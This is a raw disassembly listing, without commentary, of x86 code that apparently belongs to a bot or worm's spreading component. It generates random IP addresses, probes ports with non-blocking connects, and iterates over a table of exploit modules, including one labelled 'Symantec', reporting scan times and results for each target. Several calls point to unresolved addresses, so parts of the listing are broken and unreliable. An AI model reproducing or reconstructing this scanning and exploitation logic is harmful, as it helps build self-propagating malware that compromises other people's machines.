arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		mov	eax, dword_4CDA80
		mov	ecx, dword_4CDA7C
		push	esi
		push	dword_4CACB4
		lea	esi, [ecx+eax]
		call	sub_41A88B
		pop	ecx
		push	eax
		push	esi
		push	dword_4CDA80
		lea	eax, [ebp+var_200]
		push	dword_4CDA7C
		push	offset unk_4317C4
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		add	esp, 30h
		pop	esi
		leave
		retn
sub_40B719	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B785	proc near		; CODE XREF: sub_401ACD+2AC9p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	dword_4CACB4
		call	sub_41A88B
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	dword_4CDCC4
		push	offset unk_43180C
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		add	esp, 28h
		leave
		retn
sub_40B785	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B7DA	proc near		; CODE XREF: sub_401ACD+2AB3p

var_1000	= byte ptr -1000h
var_800		= byte ptr -800h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41BB20
		push	edi
		lea	eax, [ebp+var_800]
		push	offset dword_431858
		push	eax
		call	sub_41B886
		cmp	dword_431408, 0
		pop	ecx
		pop	ecx
		mov	edi, 800h
		jz	short loc_40B846
		push	esi
		mov	esi, offset aSymantec ;	"Symantec"


loc_40B80F:				; CODE XREF: sub_40B7DA+69j
		lea	eax, [esi-0Ah]
		push	eax
		push	esi
		lea	eax, [ebp+var_1000]
		push	offset dword_431848
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41C1E0
		add	esi, 40h
		add	esp, 1Ch
		cmp	dword ptr [esi+1Eh], 0
		jnz	short loc_40B80F
		pop	esi


loc_40B846:				; CODE XREF: sub_40B7DA+2Dj
		push	dword_4CACB4
		call	sub_41A88B
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1000]
		push	offset aScanTimeS_ ; " Scan Time: %s."
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41C1E0
		push	0
		lea	eax, [ebp+var_800]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_4151AC
		add	esp, 30h
		pop	edi
		leave
		retn
sub_40B7DA	endp

; ---------------------------------------------------------------------------
byte_40B8A1	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+30E0o
; ---------------------------------------------------------------------------
		sub	esp, 3F0h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Bh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-134h]
		rep movsd
		mov	dword ptr [eax+128h], 1
		lea	eax, [ebp-134h]
		push	eax
		call	dword_4CAFB4
		xor	edi, edi
		mov	[ebp-8], eax
		cmp	dword_431408, edi
		mov	[ebp-4], edi
		mov	[ebp+8], edi
		jz	loc_40BA03
		mov	ebx, offset dword_431408
		mov	eax, ebx


loc_40B8F2:				; CODE XREF: ___:0040B9FDj
		push	dword ptr [ebp-1Ch]
		push	dword ptr [eax]
		push	dword ptr [ebp-8]
		call	sub_40C087
		add	esp, 0Ch
		cmp	eax, 1
		jnz	loc_40B9F3
		push	dword ptr [ebx]
		lea	esi, [ebx-28h]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [esi+0Ah]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_4318A8
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409A72
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_4151AC
		add	esp, 2Ch
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-1ECh]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp-15Ch]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		cmp	byte ptr [ebp-0A4h], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp-0A4h]
		jnz	short loc_40B98E
		lea	eax, [ebp-124h]


loc_40B98E:				; CODE XREF: ___:0040B986j
		push	eax
		lea	eax, [ebp-1DCh]
		push	eax
		call	sub_41B886
		mov	eax, [ebp-24h]
		pop	ecx
		mov	[ebp-1F0h], eax
		mov	eax, [ebp-14h]
		mov	[ebp-140h], eax
		mov	eax, [ebp-10h]
		pop	ecx
		mov	[ebp-13Ch], eax
		mov	eax, [ebx]
		sub	esp, 0BCh
		mov	[ebp-150h], eax
		mov	eax, [ebp-18h]
		push	2Fh
		mov	[ebp-14Ch], eax
		mov	eax, [ebp+8]
		pop	ecx
		lea	esi, [ebp-1F0h]
		mov	edi, esp
		mov	[ebp-148h], eax
		rep movsd
		call	dword ptr [ebx+4]
		add	esp, 0BCh
		inc	dword ptr [ebp-4]
		xor	edi, edi


loc_40B9F3:				; CODE XREF: ___:0040B905j
		inc	dword ptr [ebp+8]
		add	ebx, 40h
		mov	eax, ebx
		cmp	[ebx], edi
		jnz	loc_40B8F2


loc_40BA03:				; CODE XREF: ___:0040B8E5j
		push	dword ptr [ebp-4]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_431874
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409A72
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_4151AC
		push	dword ptr [ebp-18h]
		call	sub_40B412
		add	esp, 2Ch
		push	edi
		nop
; ---------------------------------------------------------------------------
		db 0E8h, 0AAh, 45h
; ---------------------------------------------------------------------------
		sub	al, 2

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BA56	proc near		; CODE XREF: sub_401ACD+244Ep

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	0Bh
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_40BA92
		mov	eax, [ebp+arg_C]
		push	dword_4CB0C0[eax*8]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_4318F8
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_40BAA5
; ---------------------------------------------------------------------------


loc_40BA92:				; CODE XREF: sub_40BA56+13j
		lea	eax, [ebp+var_200]
		push	offset unk_4318D8
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_40BAA5:				; CODE XREF: sub_40BA56+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		add	esp, 18h
		leave
		retn
sub_40BA56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BACD	proc near		; CODE XREF: sub_40C124+267p

var_210		= dword	ptr -210h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_40BF9F
		shl	eax, 6
		xor	ebx, ebx
		cmp	dword_431414[eax], ebx
		jz	loc_40BF9F
		push	5
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_40BD54
		mov	eax, dword_429078
		push	edi
		mov	esi, offset dword_4CD17C
		push	104h
		push	esi
		push	ebx
		mov	dword_4CD38C, eax
		mov	dword_4CD388, ebx
		nop
		call	near ptr 2660000h
		mov	edi, offset byte_429108
		push	103h
		push	edi
		push	offset dword_4CD280
		call	sub_41B5F0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CD178, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_4CD410, eax
		jnz	short loc_40BB80
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CD390
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD414, 1
		jmp	short loc_40BB9A
; ---------------------------------------------------------------------------


loc_40BB80:				; CODE XREF: sub_40BACD+94j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CD390
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD414, ebx


loc_40BB9A:				; CODE XREF: sub_40BACD+B1j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CD38C
		push	offset unk_42BE5C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	dword_4CD384, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD178
		push	offset word_411796
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, dword_4CD384
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40BC08


loc_40BBF6:				; CODE XREF: sub_40BACD+139j
		cmp	dword_4CD418, ebx
		jnz	short loc_40BC23
		push	32h
		nop
		call	near ptr 2660F23h
		jmp	short loc_40BBF6
; ---------------------------------------------------------------------------


loc_40BC08:				; CODE XREF: sub_40BACD+127j
		call	near ptr 2670859h
		nop
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431A18
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40BC23:				; CODE XREF: sub_40BACD+12Fj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		mov	eax, dword_4CACB0
		mov	esi, offset dword_4CD424
		mov	[esp+210h+var_210], 104h
		push	esi
		push	ebx
		mov	dword_4CD634, eax
		mov	dword_4CD630, ebx
		nop
		call	near ptr 2660000h
		push	103h
		push	edi
		push	offset dword_4CD528
		call	sub_41B5F0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CD420, eax
		mov	eax, [ebp+arg_138]
		pop	edi
		mov	dword_4CD6B8, eax
		push	7Fh
		jnz	short loc_40BCA4
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CD638
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD6BC, 1
		jmp	short loc_40BCBE
; ---------------------------------------------------------------------------


loc_40BCA4:				; CODE XREF: sub_40BACD+1B8j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CD638
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD6BC, ebx


loc_40BCBE:				; CODE XREF: sub_40BACD+1D5j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CD634
		push	offset unk_4319E4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	dword_4CD62C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD420
		push	offset byte_40E991
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, dword_4CD62C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40BD2C


loc_40BD1A:				; CODE XREF: sub_40BACD+25Dj
		cmp	dword_4CD6C0, ebx
		jnz	short loc_40BD47
		push	32h
		call	near ptr 2660F23h
		nop
		jmp	short loc_40BD1A
; ---------------------------------------------------------------------------


loc_40BD2C:				; CODE XREF: sub_40BACD+24Bj
		nop
		call	near ptr 2670859h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_4319B0
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40BD47:				; CODE XREF: sub_40BACD+253j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_40BD54:				; CODE XREF: sub_40BACD+35j
		mov	eax, [ebp+arg_130]
		mov	ecx, eax
		shl	ecx, 6
		cmp	dword_43141C[ecx], ebx
		jz	loc_40BE7D
		push	7
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_40BE77
		mov	eax, dword_4CDCBC
		cmp	[ebp+arg_90], bl
		mov	dword_4CD0E4, eax
		mov	eax, [ebp+arg_110]
		mov	dword_4CD0D8, eax
		mov	eax, [ebp+arg_138]
		mov	dword_4CD0E0, ebx
		mov	dword_4CD168, eax
		push	7Fh
		jnz	short loc_40BDC8
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CD0E8
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD16C, 1
		jmp	short loc_40BDE2
; ---------------------------------------------------------------------------


loc_40BDC8:				; CODE XREF: sub_40BACD+2DCj
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CD0E8
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD16C, ebx


loc_40BDE2:				; CODE XREF: sub_40BACD+2F9j
		push	dword_4CD0E4
		lea	eax, [ebp+var_204]
		push	offset unk_431980
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	7
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	dword_4CD0DC, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD0D8
		push	offset byte_40E6EF
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, dword_4CD0DC
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40BE4F


loc_40BE3D:				; CODE XREF: sub_40BACD+380j
		cmp	dword_4CD170, ebx
		jnz	short loc_40BE6A
		push	32h
		nop
		call	near ptr 2660F23h
		jmp	short loc_40BE3D
; ---------------------------------------------------------------------------


loc_40BE4F:				; CODE XREF: sub_40BACD+36Ej
		nop
		call	near ptr 2670859h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431948
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40BE6A:				; CODE XREF: sub_40BACD+376j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_40BE77:				; CODE XREF: sub_40BACD+2A8j
		mov	eax, [ebp+arg_130]


loc_40BE7D:				; CODE XREF: sub_40BACD+298j
		shl	eax, 6
		cmp	dword_431418[eax], ebx
		jz	loc_40BF9F
		push	3
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_40BF9F
		mov	esi, offset dword_4CD954
		push	104h
		push	esi
		push	ebx
		call	near ptr 2660000h
		nop
		push	5Ch
		push	esi
		call	sub_41BE40
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40BEBE
		mov	[eax], bl


loc_40BEBE:				; CODE XREF: sub_40BACD+3EDj
		mov	eax, dword_42907C
		mov	dword_4CDA6C, ebx
		mov	dword_4CDA58, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CD6CC
		call	sub_41B886
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	dword_4CD6C8, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_4CDA58
		mov	dword_4CDA64, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_4CDA68, ecx
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_42BDE4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	3
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	dword_4CDA60, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD6C8
		push	offset sub_40F0D5
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, dword_4CDA60
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40BF77


loc_40BF65:				; CODE XREF: sub_40BACD+4A8j
		cmp	dword_4CDA74, ebx
		jnz	short loc_40BF92
		push	32h
		nop
		call	near ptr 2660F23h
		jmp	short loc_40BF65
; ---------------------------------------------------------------------------


loc_40BF77:				; CODE XREF: sub_40BACD+496j
		nop
		call	near ptr 2670859h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431914
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40BF92:				; CODE XREF: sub_40BACD+49Ej
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_40BF9F:				; CODE XREF: sub_40BACD+14j
					; sub_40BACD+25j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_40BACD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BFA3	proc near		; CODE XREF: sub_40C124:loc_40C195p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:4CB0C0h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_4CAE9C
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_4CAF70
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_41C310
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_40BFA3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BFEB	proc near		; CODE XREF: sub_40C124+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_41AFE0
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_40C013
		xor	eax, eax
		jmp	short loc_40C084
; ---------------------------------------------------------------------------


loc_40C013:				; CODE XREF: sub_40BFEB+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_41C645
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_40C040
		call	sub_41B8E2
		mov	[ebp+var_C], eax


loc_40C040:				; CODE XREF: sub_40BFEB+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_40C04D
		call	sub_41B8E2
		mov	[ebp+var_8], eax


loc_40C04D:				; CODE XREF: sub_40BFEB+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_40C05A
		call	sub_41B8E2
		mov	[ebp+var_4], eax


loc_40C05A:				; CODE XREF: sub_40BFEB+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_40C066
		call	sub_41B8E2


loc_40C066:				; CODE XREF: sub_40BFEB+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_4CB0C0[ecx*8], eax


loc_40C084:				; CODE XREF: sub_40BFEB+26j
		pop	esi
		leave
		retn
sub_40BFEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C087	proc near		; CODE XREF: ___:0040B8FAp
					; sub_40C124+BBp

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_4CAFF4
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40C0B0
		xor	eax, eax
		jmp	short loc_40C11F
; ---------------------------------------------------------------------------


loc_40C0B0:				; CODE XREF: sub_40C087+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_4CAF74
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CB010
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_4CAF1C
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_4CAF5C
		push	esi
		mov	edi, eax
		call	dword_4CB00C
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_40C11F:				; CODE XREF: sub_40C087+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C087	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C124	proc near		; DATA XREF: sub_40C124+353o

var_29C		= dword	ptr -29Ch
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_1CC		= byte ptr -1CCh
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_14C		= byte ptr -14Ch
var_140		= byte ptr -140h
var_13C		= byte ptr -13Ch
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		nop
		call	near ptr 2680600h
		push	eax
		call	sub_41B8D8
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h


loc_40C16B:				; CODE XREF: sub_40C124+204j
		mov	eax, dword_43DEB4[ebx]
		cmp	dword_4CB0C4[eax*8], 0
		jz	loc_40C32D
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_40C195
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_40BFEB
		pop	ecx
		jmp	short loc_40C19A
; ---------------------------------------------------------------------------


loc_40C195:				; CODE XREF: sub_40C124+60j
		call	sub_40BFA3


loc_40C19A:				; CODE XREF: sub_40C124+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_43DEB4[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_431A74
		push	eax
		call	sub_41B886
		add	esp, 18h
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_43DCB0[ebx]
		push	eax
		call	sub_41B886
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_40C087
		add	esp, 14h
		cmp	eax, 1
		jnz	loc_40C31D
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_40C271
		push	offset dword_4CD0C0
		call	near ptr 77F7E21Fh
		nop
		push	[ebp+var_3C]
		push	edi
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_431A4C
		push	eax
		call	sub_41B886
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_40C253
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C247
		lea	eax, [ebp+var_140]


loc_40C247:				; CODE XREF: sub_40C124+11Bj
		push	eax
		push	[ebp+var_40]
		call	sub_409A72
		add	esp, 14h


loc_40C253:				; CODE XREF: sub_40C124+100j
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_4151AC
		mov	[esp+29Ch+var_29C], offset dword_4CD0C0
		call	near ptr 77F7E300h
		nop
		jmp	loc_40C31D
; ---------------------------------------------------------------------------


loc_40C271:				; CODE XREF: sub_40C124+D0j
		push	edi
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_41B886
		mov	eax, [ebp+var_20]
		pop	ecx
		shl	eax, 6
		pop	ecx
		add	eax, offset aSym ; "sym"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_41B886
		cmp	[ebp+var_C0], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C2B6
		lea	eax, [ebp+var_140]


loc_40C2B6:				; CODE XREF: sub_40C124+18Aj
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_41B886
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		pop	ecx
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		sub	esp, 0BCh
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		push	2Fh
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_168], esi
		mov	[ebp+var_164], eax
		lea	esi, [ebp+var_20C]
		mov	edi, esp
		shl	eax, 6
		rep movsd
		call	off_43140C[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh


loc_40C31D:				; CODE XREF: sub_40C124+C6j
					; sub_40C124+148j
		push	7D0h
		nop
		call	near ptr 2660F23h
		jmp	loc_40C16B
; ---------------------------------------------------------------------------


loc_40C32D:				; CODE XREF: sub_40C124+55j
		push	esi
		call	sub_40B412
		pop	ecx
		push	0
		call	near ptr 26D0000h
		nop


loc_40C33C:				; DATA XREF: sub_401ACD+1F81o
					; sub_401ACD+5C48o
		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_4CAFB4
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_4CB0C0[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40BACD
		push	0Bh
		call	sub_40B33E
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_40C40A
		mov	esi, offset dword_4CD0C0
		push	esi
		nop
		call	near ptr 26D07DEh
		push	80000400h
		push	esi
		nop
		call	near ptr 26D0639h
		test	eax, eax
		jnz	short loc_40C40A
		lea	eax, [ebp+var_1CC]
		push	offset unk_431B58
		push	eax
		call	sub_41B886
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_40C3F4
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409A72
		add	esp, 14h


loc_40C3F4:				; CODE XREF: sub_40C124+2B1j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AC
